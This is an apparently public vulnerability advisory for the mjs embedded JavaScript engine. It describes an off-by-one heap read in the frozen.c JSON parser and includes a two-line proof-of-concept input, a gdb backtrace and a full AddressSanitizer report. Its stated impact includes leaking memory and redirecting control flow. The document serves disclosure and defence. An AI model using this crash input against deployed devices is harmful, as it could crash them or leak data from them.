mjs

vulnerability off-by-one heap-based buffer overflow
severity 5.8
language c
registry other

Description

mjs is a JavaScript engine for embedded devices, used as part of Cesanta's Mongoose OS product for embedded platform development.

Maliciously crafted JavaScript source that gets parsed by the engine can lead to an off-by-one heap-based buffer overflow:

let s = '{"e":"1\\';
let o = JSON.parse(s);

mjs interprets the double backlash as a single backlash, and when json_parse_string gets invoked to scan each token, the following condition is executed:

https://github.com/cesanta/mjs/blob/4c870e584d2b2a538abcee5307c498cc37e7ef9d/frozen/frozen.c#L244-L246

As observed from source, json_get_escape_len is used to read the next character after the backlash, in an attempt to recognize an escape character and to see if further parsing is necessary.

Given the vulnerable test case, when encountering the \\, f->cur + 1 at that point of execution does not point to a valid ASCII character, and therefore reads a byte of uninitialized data on the heap chunk:

gef➤  bt
#0  json_get_escape_len (s=0x5555555822b8 "\300\237\345\367\377\177", len=0x1) at frozen/frozen.c:169
#1  0x0000555555559601 in json_parse_string (f=0x7fffffffdc50) at frozen/frozen.c:231
#2  0x000055555555a18e in json_parse_value (f=0x7fffffffdc50) at frozen/frozen.c:330
#3  0x000055555555a41b in json_parse_pair (f=0x7fffffffdc50) at frozen/frozen.c:395
#4  0x000055555555a570 in json_parse_object (f=0x7fffffffdc50) at frozen/frozen.c:407
#5  0x000055555555a1af in json_parse_value (f=0x7fffffffdc50) at frozen/frozen.c:333
#6  0x000055555555a716 in json_doit (f=0x7fffffffdc50) at frozen/frozen.c:420
#7  0x000055555555c021 in json_walk (json_string=0x5555555822b0 "{\"e\":\"1\\\300\237\345\367\377\177", json_string_length=0x8, callback=0x55555556cb97 <frozen_cb>, callback_data=0x555555581e50) at frozen/frozen.c:803
#8  0x000055555556d082 in mjs_json_parse (mjs=0x5555555812a0, str=0x555555581a6a "{\"e\":\"1\\", len=0x8, res=0x7fffffffde08) at mjs/src/mjs_json.c:449
#9  0x000055555556d309 in mjs_op_json_parse (mjs=0x5555555812a0) at mjs/src/mjs_json.c:509
#10 0x0000555555566d6a in mjs_execute (mjs=0x5555555812a0, off=0x0, res=0x7fffffffe048) at mjs/src/mjs_exec.c:848
#11 0x0000555555567a67 in mjs_exec_internal (mjs=0x5555555812a0, path=0x7fffffffe560 "out/crash_offbyone", src=0x555555582ca0 "let s = '{\"e\":\"1\\\\';\nlet o = JSON.parse(s);\n", generate_jsc=0x0, res=0x7fffffffe100) at mjs/src/mjs_exec.c:1066
#12 0x0000555555567b95 in mjs_exec_file (mjs=0x5555555812a0, path=0x7fffffffe560 "out/crash_offbyone", res=0x7fffffffe148) at mjs/src/mjs_exec.c:1089
#13 0x000055555556d67d in main (argc=0x2, argv=0x7fffffffe258) at mjs/src/mjs_main.c:44

Proof of Concept

let s = '{"e":"1\\';
let o = JSON.parse(s);

When instrumenting the JavaScript engine with ASan and executing with the test case, the following report is generated:

$ ./mjs/mjs_asan out/crash_offbyone
=================================================================
==1677==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000138 at pc 0x561e769e43f2 bp 0x7fff806f6310 sp 0x7fff806f6308
READ of size 1 at 0x602000000138 thread T0
    #0 0x561e769e43f1 in json_get_escape_len /home/alan/hck/fuzzing/mjs/mjs/frozen/frozen.c:169:11
    #1 0x561e769e43f1 in json_parse_string /home/alan/hck/fuzzing/mjs/mjs/frozen/frozen.c:231:9
    #2 0x561e769da3b5 in json_parse_value /home/alan/hck/fuzzing/mjs/mjs/frozen/frozen.c:330:7
    #3 0x561e769e6f72 in json_parse_pair /home/alan/hck/fuzzing/mjs/mjs/frozen/frozen.c:395:3
    #4 0x561e769de7b3 in json_parse_object /home/alan/hck/fuzzing/mjs/mjs/frozen/frozen.c:407:7
    #5 0x561e769de7b3 in json_parse_value /home/alan/hck/fuzzing/mjs/mjs/frozen/frozen.c:333:7
    #6 0x561e7692caf5 in json_doit /home/alan/hck/fuzzing/mjs/mjs/frozen/frozen.c:420:10
    #7 0x561e7692caf5 in json_walk /home/alan/hck/fuzzing/mjs/mjs/frozen/frozen.c:803:3
    #8 0x561e769bbfa5 in mjs_json_parse /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_json.c:449:16
    #9 0x561e769638ef in mjs_op_json_parse /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_json.c:509:5
    #10 0x561e7697aaa8 in mjs_execute /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_exec.c:848:11
    #11 0x561e7699bbe7 in mjs_exec_internal /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_exec.c:1066:5
    #12 0x561e769c005f in mjs_exec_file /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_exec.c:1089:11
    #13 0x561e769c005f in main /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_main.c:44:11
    #14 0x7ff0f62dcb24 in __libc_start_main (/usr/lib/libc.so.6+0x27b24)
    #15 0x561e7683332d in _start (/home/alan/hck/fuzzing/mjs/mjs/mjs_asan+0x2e32d)

0x602000000138 is located 0 bytes to the right of 8-byte region [0x602000000130,0x602000000138)
allocated by thread T0 here:
    #0 0x561e768d9519 in malloc (/home/alan/hck/fuzzing/mjs/mjs/mjs_asan+0xd4519)
    #1 0x561e769bbf7e in mjs_json_parse /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_json.c:447:18
    #2 0x561e769638ef in mjs_op_json_parse /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_json.c:509:5
    #3 0x561e7697aaa8 in mjs_execute /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_exec.c:848:11
    #4 0x561e7699bbe7 in mjs_exec_internal /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_exec.c:1066:5
    #5 0x561e769c005f in mjs_exec_file /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_exec.c:1089:11
    #6 0x561e769c005f in main /home/alan/hck/fuzzing/mjs/mjs/mjs/src/mjs_main.c:44:11
    #7 0x7ff0f62dcb24 in __libc_start_main (/usr/lib/libc.so.6+0x27b24)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/alan/hck/fuzzing/mjs/mjs/frozen/frozen.c:169:11 in json_get_escape_len
Shadow bytes around the buggy address:
  0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff8000: fa fa fd fa fa fa 00 04 fa fa fd fa fa fa fd fa
  0x0c047fff8010: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
=>0x0c047fff8020: fa fa fd fd fa fa 00[fa]fa fa 00 00 fa fa fa fa
  0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1677==ABORTING

This crash was also reported here, but no further follow-up or triaging occurred.

Impact

With a properly groomed heap, an attacker may have the capability to leak sensitive addresses and data, and redirect control flow.